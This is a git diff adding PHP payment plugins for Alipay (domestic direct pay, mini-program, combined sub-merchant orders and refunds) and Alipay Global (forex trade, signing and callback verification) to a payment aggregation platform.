$bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + if(self::isCombinePay($order['realmoney'])){ + $bizContent['product_code'] = 'QUICK_MSECURITY_PAY'; + $bizContent = self::combineOrderParams($bizContent, $sub_orders); + $result = $aop->mergeCreate($bizContent); + $alipay_trade_no = $result['merge_no']; + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + }else{ + $aop->directPayParams($bizContent); + $result = $aop->jsPay($bizContent); + $alipay_trade_no = $result['trade_no']; + } + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + //支付宝小程序支付 + static public function alipaymini(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $auth_code = isset($_GET['auth_code'])?trim($_GET['auth_code']):exit('{"code":-1,"msg":"auth_code不能为空"}'); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + + try{ + [$app_id, $user_type, $user_id] = alipay_mini_oauth($auth_code, $alipay_config); + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>$e->getMessage()])); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $app_id + ]; + if($user_type == 'openid'){ + $bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + if(self::isCombinePay($order['realmoney'])){ + $bizContent['product_code'] = 'QUICK_MSECURITY_PAY'; + $bizContent = self::combineOrderParams($bizContent, $sub_orders); + $result = $aop->mergeCreate($bizContent); + $alipay_trade_no = $result['merge_no']; + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + }else{ + $aop->directPayParams($bizContent); + $result = $aop->jsPay($bizContent); + $alipay_trade_no = $result['trade_no']; + } + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>'支付宝下单失败!'.$e->getMessage()])); + } + exit(json_encode(['code'=>0, 'data'=>$alipay_trade_no])); + } + + //H5跳转小程序支付 + static public function minipay(){ + global $siteurl, $channel, $conf; + + $code_url = alipaymini_jump_scheme(TRADE_NO, $channel['appid']); + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //异步回调 + static public function notify(){ + global $channel, $order, $conf; + + if($order['combine']){ + return self::combine_notify(); + } + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_trade_no']; + + //支付宝交易号 + $trade_no = $_POST['trade_no']; + + //买家支付宝 + $buyer_id = $_POST['buyer_id']; + if(empty($buyer_id))$buyer_id = $_POST['buyer_open_id']; + + //交易金额 + $total_amount = $_POST['total_amount']; + + if($_POST['trade_status'] == 'TRADE_FINISHED') { + //退款日期超过可退款期限后(如三个月可退款),支付宝系统发送该交易状态通知 + } + else if ($_POST['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + if($conf['direct_settle_time'] > 0 && $order['profits'] == 0){ + $order['settle'] = 1; + }else{ + usleep(300000); + try{ + $freeze = $conf['direct_settle_time'] > 0 && $order['profits'] > 0; + $aop->settle_confirm($trade_no, $order['realmoney'], $freeze); + $order['settle'] = 2; + }catch(Exception $e){ + $errmsg = $e->getMessage(); + if(strpos($errmsg, 'ALREADY_CONFIRM_SETTLE')){ + $order['settle'] = 2; + }else{ + $aop->writeLog('settle_confirm:'.$errmsg); + $order['settle'] = 3; + } + } + } + processNotify($order, $trade_no, $buyer_id); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + if($order['combine']){ + return self::combine_return(); + } + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_GET); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //支付宝交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $total_amount = $_GET['total_amount']; + + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'支付宝返回验证失败']; + } + } + + //预授权支付回调 + static public function preauthnotify(){ + global $channel, $order, $conf, $ordername, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $aop = new \Alipay\AlipayService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_order_no']; + + //资金授权订单号 + $auth_no = $_POST['auth_no']; + + $buyer_id = $result['payer_user_id']; + + if($out_trade_no == TRADE_NO){ + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'PREAUTH_PAY', + 'auth_no' => $auth_no, + 'auth_confirm_mode' => 'COMPLETE' + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->scanPay($bizContent); + }catch(Exception $e){ + \lib\Payment::updateOrder(TRADE_NO, $auth_no, $buyer_id, 4); + return ['type'=>'html','data'=>'success']; + //return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $trade_no = $result['trade_no']; + $buyer_id = $result['buyer_user_id']; + $total_amount = $result['total_amount']; + + processNotify($order, $trade_no, $buyer_id); + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $bizContent = [ + 'trade_no' => $order['api_trade_no'], + 'refund_amount' => $order['refundmoney'], + 'out_request_no' => $order['refund_no'] + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->refund($bizContent); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_fee'], 'refund_time'=>$result['gmt_refund_pay'], 'buyer'=>$result['buyer_user_id']]; + } + + //合单支付退款 + static public function refund_combine($order){ + global $channel; + if(empty($order))exit(); + + $sub_orders = \lib\Payment::getSubOrders($order['trade_no']); + if(empty($sub_orders)) return ['code'=>-1, 'msg'=>'子订单数据不存在']; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + //循环退款 + $refundmoney = $order['refundmoney']; + foreach($sub_orders as $sub_order){ + if($sub_order['status']==2 && (empty($sub_order['refundmoney']) || $sub_order['refundmoney']>=$sub_order['money'])) continue; + $money = $sub_order['money']; + if($sub_order['status']==2) $money = round($sub_order['money'] - $sub_order['refundmoney'], 2); + if($money > $refundmoney){ + $money = $refundmoney; + } + $refund_no = date("YmdHis").rand(11111,99999); + $bizContent = [ + 'trade_no' => $sub_order['api_trade_no'], + 'refund_amount' => $money, + 'out_request_no' => $refund_no + ]; + try{ + $aop->refund($bizContent); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + $sub_refundmoney = $sub_order['refundmoney'] ? round($sub_order['refundmoney'] + $money, 2) : $money; + \lib\Payment::refundSubOrder($sub_order['sub_trade_no'], $sub_refundmoney); + $refundmoney = round($refundmoney - $money, 2); + if($refundmoney<=0)break; + } + return ['code'=>0]; + } + + //支付宝应用网关 + static public function appgw(){ + global $channel,$DB; + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayService($alipay_config); + $verify_result = $aop->check($_POST); + if($verify_result){ + if($_POST['msg_method'] == 'alipay.merchant.tradecomplain.changed'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['complain_event_id'])){ + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($bizContent['complain_event_id']); + } + }elseif($_POST['msg_method'] == 'ant.merchant.expand.indirect.zft.passed'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['order_id'])){ + $bizContent['type'] = 'passed'; + $model = \lib\Applyments\CommUtil::getModel2($channel); + $model->callback($bizContent); + } + }elseif($_POST['msg_method'] == 'ant.merchant.expand.indirect.zft.rejected'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['order_id'])){ + $bizContent['type'] = 'rejected'; + $model = \lib\Applyments\CommUtil::getModel2($channel); + $model->callback($bizContent); + } + } + /*if($_POST['service']=='alipay.adatabus.risk.end.push' || $_POST['service']=='alipay.riskgo.risk.push'){ + if($_POST['charset'] == 'GBK'){ + $_POST['risktype'] = mb_convert_encoding($_POST['risktype'], "UTF-8", "GBK"); + $_POST['risklevel'] = mb_convert_encoding($_POST['risklevel'], "UTF-8", "GBK"); + $_POST['riskDesc'] = mb_convert_encoding($_POST['riskDesc'], "UTF-8", "GBK"); + $_POST['complainText'] = mb_convert_encoding($_POST['complainText'], "UTF-8", "GBK"); + } + $DB->exec("INSERT INTO `pre_alipayrisk` (`channel`,`pid`,`smid`,`tradeNos`,`risktype`,`risklevel`,`riskDesc`,`complainTime`,`complainText`,`date`,`status`) VALUES (:channel, :pid, :smid, :tradeNos, :risktype, :risklevel, :riskDesc, :complainTime, :complainText, NOW(), 0)", [':channel'=>$channelid, ':pid'=>$_POST['pid'], ':smid'=>$_POST['smid']?$_POST['smid']:$_POST['merchantId'], ':tradeNos'=>$_POST['tradeNos'], ':risktype'=>$_POST['risktype'], ':risklevel'=>$_POST['risklevel'], ':riskDesc'=>$_POST['riskDesc'], ':complainTime'=>$_POST['complainTime'], ':complainText'=>$_POST['complainText']]); + }*/ + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'check sign fail']; + } + } + + //判断是否支持合单支付 + static private function isCombinePay($money){ + global $conf; + if(!$conf['alicombine_open'] || !$conf['wxcombine_minmoney']) return false; + if($money < $conf['wxcombine_minmoney']) return false; + return true; + } + + //合单支付参数 + static private function combineOrderParams($bizContent, &$sub_orders){ + global $channel, $conf; + + $sub_mchid = $channel['appmchid']; + if(strpos($channel['appmchid'], ',')){ + $sub_mchids = explode(',', $channel['appmchid']); + shuffle($sub_mchids); + } + + $money = intval(round($bizContent['total_amount']*100)); + $subnum = isset($sub_mchids)?count($sub_mchids):2; + if($subnum > 6) $subnum = 6; + $submoney = intval($money/$subnum); + if($subnum < 6 && $conf['wxcombine_submoney']){ + while($submoney > intval($conf['wxcombine_submoney']*100)){ + $subnum++; + $submoney = intval($money/$subnum); + if($subnum==6)break; + } + } + $submoneys = []; + for($i=0;$i<$subnum;$i++){ + $submoneys[] = $submoney; + } + $mod = $money%$subnum; + if($mod > 0){ + for($i=0;$i<$mod;$i++){ + $submoneys[$i] += 1; + } + } + + $order_details = []; + $sub_orders = []; + $i = 1; + foreach($submoneys as $money){ + $order_detail = [ + 'app_id' => $channel['appid'], + 'out_trade_no' => $bizContent['out_trade_no'].$i, + 'product_code' => $bizContent['product_code'], + 'total_amount' => strval(round($money/100, 2)), + 'subject' => $bizContent['subject'], + 'business_params' => $bizContent['business_params'], + 'sub_merchant' => ['merchant_id' => isset($sub_mchids)?$sub_mchids[($i-1)%count($sub_mchids)]:$sub_mchid], + 'settle_info' => [ + 'settle_period_time' => '1d', + 'settle_detail_infos' => [ + [ + 'trans_in_type' => 'defaultSettle', + 'amount' => strval(round($money/100, 2)) + ] + ] + ] + ]; + if(isset($bizContent['op_app_id'])) $order_detail['op_app_id'] = $bizContent['op_app_id']; + if(isset($bizContent['buyer_id'])) $order_detail['buyer_id'] = $bizContent['buyer_id']; + if(isset($bizContent['buyer_open_id'])) $order_detail['buyer_open_id'] = $bizContent['buyer_open_id']; + $order_details[] = $order_detail; + $sub_orders[] = ['sub_trade_no'=>$order_detail['out_trade_no'], 'money'=>$order_detail['total_amount']]; + $i++; + } + $bizContent = [ + 'out_merge_no' => $bizContent['out_trade_no'], + 'order_details' => $order_details + ]; + return $bizContent; + } + + static private function combine_notify(){ + global $channel, $order, $conf; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) { + $out_trade_no = $_POST['out_merge_no']; + $buyer_id = $_POST['buyer_id']; + $order_detail_results = json_decode($_POST['order_detail_results'], true); + + if($_POST['merge_pay_status'] == 'FINISHED' && $out_trade_no == TRADE_NO){ + + $sub_orders = []; + foreach($order_detail_results as $detail){ + $sub_orders[] = ['sub_trade_no'=>$detail['out_trade_no'], 'api_trade_no'=>$detail['trade_no'], 'money'=>$detail['total_amount']]; + } + \lib\Payment::processSubOrders(TRADE_NO, $sub_orders); + + if($conf['direct_settle_time'] > 0 && $order['profits'] == 0){ + $order['settle'] = 1; + }else{ + usleep(300000); + $freeze = $conf['direct_settle_time'] > 0 && $order['profits'] > 0; + $failnum = 0; + $aop = new \Alipay\AlipayTradeService($alipay_config); + foreach($order_detail_results as $detail){ + $settle = 0; + try{ + $aop->settle_confirm($detail['trade_no'], $detail['total_amount'], $freeze); + $settle = 1; + }catch(Exception $e){ + $errmsg = $e->getMessage(); + if(strpos($errmsg, 'ALREADY_CONFIRM_SETTLE')!==false){ + $settle = 1; + }else{ + $failnum++; + $aop->writeLog('settle_confirm:'.$errmsg); + } + } + if($settle == 1) \lib\Payment::updateSubOrderSettle($detail['out_trade_no'], 1); + } + $order['settle'] = $failnum > 0 ? 3 : 2; + } + + processNotify($order, $out_trade_no, $buyer_id); + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + static private function combine_return(){ + return ['type'=>'page','page'=>'return']; + } +} \ No newline at end of file diff --git a/plugins/alipayd/inc/config.php b/plugins/alipayd/inc/config.php new file mode 100644 index 0000000..dacc2f9 --- /dev/null +++ b/plugins/alipayd/inc/config.php @@ -0,0 +1,38 @@ + $channel['appid'], + + //支付宝公钥 + 'alipay_public_key' => $channel['appkey'], + + //应用私钥 + 'app_private_key' => $channel['appsecret'], + + //子商户SMID + 'smid' => $channel['appmchid'], + + //签名方式,默认为RSA2 + 'sign_type' => "RSA2", + + //编码格式 + 'charset' => "UTF-8", + + //支付宝网关 + 'gateway_url' => "https://openapi.alipay.com/gateway.do", + + //日志记录位置 + 'log_path' => dirname(__FILE__).'/log/', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayRootCert.crt'; +} +elseif(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayRootCert.crt'; +} +return $alipay_config; \ No newline at end of file diff --git a/plugins/alipayg/alipayg_plugin.php b/plugins/alipayg/alipayg_plugin.php new file mode 100644 index 0000000..9f33688 --- /dev/null +++ b/plugins/alipayg/alipayg_plugin.php @@ -0,0 +1,313 @@ + 'alipayg', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '支付宝国际版', //支付插件显示名称 + 'author' => '支付宝', //支付插件作者 + 'link' => 'https://global.alipay.com/', //支付插件作者链接 + 'types' => ['alipay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'Partner ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'MD5 Key', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '支付时选择钱包类型', + 'type' => 'select', + 'options' => [ + '0' => '否', + '1' => '是', + ], + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'PC支付', + '2' => 'WAP支付', + '3' => 'APP支付', + ], + 'note' => '支付时选择钱包类型开启后,支付时可选择Alipay或AlipayHK,关闭则默认使用Alipay', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static private $trade_information = ['business_type'=>'5','other_business_type'=>'在线充值']; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + if(checkwechat()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + + static public function alipay(){ + global $channel, $order, $cdnpublic, $siteurl; + + if($channel['appswitch'] == 1 && empty($_GET['type'])){ + include PAY_ROOT.'select.page.php'; + exit; + } + + if(checkmobile()){ + if(in_array('2',$channel['apptype'])){ + return self::wappay(); + }elseif(in_array('1',$channel['apptype'])){ + return self::submitpc(); + }elseif(in_array('3',$channel['apptype'])){ + if(checkalipay()){ + return self::apppay(); + }else{ + $code_url = $siteurl.'pay/apppay/'.TRADE_NO.'/?type='.$_GET['type']; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + }else{ + if(in_array('1',$channel['apptype'])){ + $code_url = '/pay/submitpc/'.TRADE_NO.'/?type='.$_GET['type']; + return ['type'=>'qrcode','page'=>'alipay_qrcodepc','url'=>$code_url]; + }elseif(in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/wappay/'.TRADE_NO.'/?type='.$_GET['type']; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }elseif(in_array('3',$channel['apptype'])){ + $code_url = $siteurl.'pay/apppay/'.TRADE_NO.'/?type='.$_GET['type']; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + } + + static public function submitpc(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + $parameter = array( + 'service' => 'create_forex_trade', + 'partner' => trim($alipay_config['partner']), + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'out_trade_no' => TRADE_NO, + 'subject' => $ordername, + 'currency' => 'HKD', + 'rmb_fee' => $order['realmoney'], + 'refer_url' => $siteurl, + 'product_code' => 'NEW_WAP_OVERSEAS_SELLER', + 'qr_pay_mode' => '4', + 'qrcode_width' => '230', + 'trade_information' => json_encode(self::$trade_information), + '_input_charset' => 'utf-8' + ); + if(!empty($_GET['type'])){ + $parameter['payment_inst'] = trim($_GET['type']); + } + + $client = new AlipayGlobalClient($alipay_config); + if(checkmobile() && !checkalipay()){ + try{ + $url = $client->buildRequestForm($parameter, 'REDIRECT'); + $html = get_curl($url, 0, 0, 0, 0, 0, 0, 0, 1); + $html = mb_convert_encoding($html, 'utf-8', 'gbk'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + if(preg_match('!'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + return ['type'=>'error','msg'=>'支付宝下单失败!获取二维码失败']; + } + }else{ + $html_text = $client->buildRequestForm($parameter); + $html_text = '
    '.$html_text.''; + return ['type'=>'html','data'=>$html_text]; + } + } + + static public function wappay(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + $parameter = array( + 'service' => 'create_forex_trade_wap', + 'partner' => trim($alipay_config['partner']), + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'out_trade_no' => TRADE_NO, + 'subject' => $ordername, + 'currency' => 'HKD', + 'rmb_fee' => $order['realmoney'], + 'refer_url' => $siteurl, + 'product_code' => 'NEW_WAP_OVERSEAS_SELLER', + 'trade_information' => json_encode(self::$trade_information), + '_input_charset' => 'utf-8' + ); + if(!empty($_GET['type'])){ + $parameter['payment_inst'] = trim($_GET['type']); + } + + $client = new AlipayGlobalClient($alipay_config); + $html_text = $client->buildRequestForm($parameter); + return ['type'=>'html','data'=>$html_text]; + } + + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + $parameter = array( + 'service' => 'mobile.securitypay.pay', + 'partner' => trim($alipay_config['partner']), + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'out_trade_no' => TRADE_NO, + 'subject' => $ordername, + 'payment_type' => '1', + 'seller_id' => trim($alipay_config['partner']), + 'currency' => 'HKD', + 'rmb_fee' => $order['realmoney'], + 'forex_biz' => 'FP', + 'refer_url' => $siteurl, + 'product_code' => 'NEW_WAP_OVERSEAS_SELLER', + 'trade_information' => json_encode(self::$trade_information), + '_input_charset' => 'utf-8' + ); + if(!empty($_GET['type'])){ + $parameter['payment_inst'] = trim($_GET['type']); + } + + $client = new AlipayGlobalClient($alipay_config); + $result = $client->buildSdkParam($parameter); + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + //计算得出通知验证结果 + $client = new AlipayGlobalClient($alipay_config); + $verify_result = $client->verify($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_trade_no']; + + //支付宝交易号 + $trade_no = $_POST['trade_no']; + + //买家支付宝 + $buyer_id = $_POST['buyer_id']; + + //交易金额 + $total_fee = $_POST['total_fee']; + + if ($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no, $buyer_id); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + //计算得出通知验证结果 + $client = new AlipayGlobalClient($alipay_config); + $verify_result = $client->verify($_GET); + if($verify_result) { + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //支付宝交易号 + $trade_no = $_GET['trade_no']; + + //买家支付宝 + $buyer_id = $_GET['buyer_id']; + + //交易金额 + $total_fee = $_GET['total_fee']; + + if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO){ + processReturn($order, $trade_no, $buyer_id); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'trade_status='.$_GET['trade_status']]; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'签名验证失败!']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + require(PAY_ROOT."inc/AlipayGlobalClient.php"); + + $params = [ + 'service' => 'forex_refund', + 'partner' => trim($alipay_config['partner']), + 'out_return_no' => $order['refund_no'], + 'out_trade_no' => $order['trade_no'], + 'return_rmb_amount' => $order['refundmoney'], + 'currency' => 'HKD', + 'gmt_return' => date('Y-m-d H:i:s'), + '_input_charset' => 'utf-8' + ]; + $client = new AlipayGlobalClient($alipay_config); + $result = $client->sendRequest($params); + if(isset($result['is_success']) && $result['is_success'] == 'T'){ + return ['code'=>0]; + }elseif(isset($result['error'])){ + return ['code'=>1,'msg'=>$result['error']]; + }else{ + return ['code'=>1,'msg'=>'未知错误']; + } + } +} \ No newline at end of file diff --git a/plugins/alipayg/inc/AlipayGlobalClient.php b/plugins/alipayg/inc/AlipayGlobalClient.php new file mode 100644 index 0000000..9d463f7 --- /dev/null +++ b/plugins/alipayg/inc/AlipayGlobalClient.php @@ -0,0 +1,208 @@ +partner = $alipay_config['partner']; + if(!empty($alipay_config['sign_type'])){ + $this->sign_type = $alipay_config['sign_type']; + } + if($this->sign_type == 'RSA'){ + $this->private_key = $alipay_config['private_key']; + $this->ali_public_key = $alipay_config['ali_public_key']; + }else{ + $this->key = $alipay_config['key']; + } + if(!empty($alipay_config['gateway_url'])){ + $this->gateway_url = $alipay_config['gateway_url']; + } + } + + public function buildRequestForm($params, $method = 'POST'){ + $data = $this->buildRequestParam($params); + + if($method == 'REDIRECT'){ + $requestUrl = $this->gateway_url.'?'.http_build_query($data); + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $requestUrl); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $response = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode == 301 || $httpStatusCode == 302) { + $redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL); + curl_close($ch); + return $redirect_url; + } elseif ($httpStatusCode == 200) { + curl_close($ch); + $response = mb_convert_encoding($response, 'UTF-8', 'GB2312'); + if(preg_match('/([^<]+)<\/div>/i', $response, $matchers)) { + throw new Exception($matchers[1]); + } + } + throw new Exception('返回数据解析失败', $httpStatusCode); + } + + $url = $this->gateway_url.'?_input_charset='.$this->input_charset; + + $html = "
    "; + foreach ($data as $key => $value) { + $value = htmlentities($value, ENT_QUOTES | ENT_HTML5); + $html .= ""; + } + $html .= "
    "; + $html .= ""; + + return $html; + } + + public function sendRequest($params){ + $data = $this->buildRequestParam($params); + $url = $this->gateway_url.'?_input_charset='.$this->input_charset; + $response = $this->curl($url, http_build_query($data)); + $arr = $this->xml2array($response); + return $arr; + } + + public function buildSdkParam($params){ + $data = $this->buildRequestParam($params); + return http_build_query($data); + } + + public function verify($param){ + if(!isset($param['sign'])) return false; + $sign = $param['sign']; + $signstr = $this->getSignContent($param); + if($this->sign_type == 'MD5'){ + $mysign = md5($signstr . $this->key); + return $mysign === $sign; + }else{ + return $this->rsaPubilcVerify($signstr, $sign, $this->sign_type); + } + } + + private function buildRequestParam($param){ + $param['sign'] = $this->getSign($param); + $param['sign_type'] = $this->sign_type; + return $param; + } + + private function getSign($param){ + $signstr = $this->getSignContent($param); + if($this->sign_type == 'MD5'){ + $sign = md5($signstr . $this->key); + }else{ + $sign = $this->rsaPrivateSign($signstr, $this->sign_type); + } + return $sign; + } + + private function getSignContent($param){ + ksort($param); + $signstr = ''; + foreach($param as $k => $v){ + if($k != "sign" && $k != "sign_type" && !$this->isEmpty($v)){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + private function xml2array($xml) + { + if (!$xml) { + return false; + } + LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true); + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), 